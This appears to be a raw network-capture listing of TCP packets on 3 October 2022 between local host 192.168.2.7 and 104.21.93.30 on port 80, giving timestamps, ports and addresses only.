Oct 3, 2022 17:34:52.712198973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712215900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712219954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712234974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712254047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712256908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712296009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712807894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712826014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712862968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712881088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712888956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712898970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712918043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712920904 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712937117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712956905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712960005 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.712976933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712995052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.712997913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.713028908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713035107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.713047028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713064909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713083029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713088036 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.713102102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713119030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713134050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.713138103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713155985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713171959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.713172913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713191986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713200092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.713208914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.713241100 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749541998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749586105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749608994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749631882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749650002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749667883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749686003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749702930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749720097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749723911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749737978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749757051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749777079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749797106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749804974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749804974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749804974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749814987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749834061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749844074 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749854088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749871969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749886036 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749891043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749910116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749912024 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749928951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749947071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749953985 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.749963999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.749994040 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756263971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756309032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756335020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756361008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756386995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756386042 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756386042 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756413937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756441116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756467104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756494999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756521940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756545067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756551027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756551027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756566048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756588936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756617069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756644011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756645918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756674051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756702900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756702900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756716967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756725073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756751060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756767988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756777048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756798029 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756805897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756833076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756850004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756859064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756885052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756911993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756932974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756958008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756983995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.756984949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.756984949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757011890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757013083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757036924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757055998 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757065058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757091045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757108927 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757117987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757143021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757158041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757169008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757194996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757215023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757220984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757247925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757266045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757272959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757301092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757323027 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757325888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757353067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757369995 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757379055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757405996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757424116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757433891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757460117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757474899 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757486105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757531881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757735968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757764101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757788897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757813931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757813931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757841110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757858992 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757867098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757894039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757910013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757920027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757946014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757968903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.757972002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.757999897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758021116 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758028030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758054972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758076906 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758080959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758109093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758126974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758136034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758162022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758183956 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758187056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758214951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758233070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758240938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758268118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758281946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758683920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758699894 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758712053 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758735895 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758738995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758765936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758784056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758791924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758820057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758836985 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758846045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758873940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758898020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758924007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758950949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.758966923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.758979082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759006023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759026051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759033918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759061098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759087086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759100914 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759113073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759128094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759140968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759171009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759191990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759211063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759237051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759279013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759293079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759674072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759717941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759746075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759773016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759790897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759799957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759828091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759844065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759854078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759881020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759895086 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759907961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759934902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759948015 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.759960890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.759987116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.760005951 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.760014057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.760040045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.760055065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.760067940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.760093927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.760119915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.760119915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.760236025 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.394092083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.394335032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.426398993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.426449060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.491580963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.491621971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.491712093 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.533447981 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.533500910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.565715075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.565743923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.629388094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.629412889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.629496098 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.683655977 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.683729887 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.716037035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.716069937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.802825928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.802927017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.802974939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803020000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803061962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803103924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803145885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803189993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803235054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803277016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803320885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803363085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803405046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803447008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803487062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803527117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803570032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803615093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803656101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803714037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803766966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803807974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803848028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803889036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803929090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.803967953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804009914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804049969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804089069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804127932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804168940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804209948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804251909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804291010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804332018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804373980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804413080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804454088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804495096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.804527044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.806191921 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806193113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806193113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806193113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806193113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806193113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806193113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806193113 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806296110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806296110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806296110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806296110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806296110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806296110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806296110 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806297064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806323051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806323051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806323051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.806339979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.865803957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865844011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865863085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865880966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865894079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865906954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865922928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865938902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865958929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865958929 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.865972996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.865987062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866008043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866008997 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866023064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866028070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866048098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866058111 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866065979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866085052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866086006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866103888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866122007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866139889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866146088 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866158962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866168022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866178989 CEST	80	49702	104.21.93.30	192.168.2.7
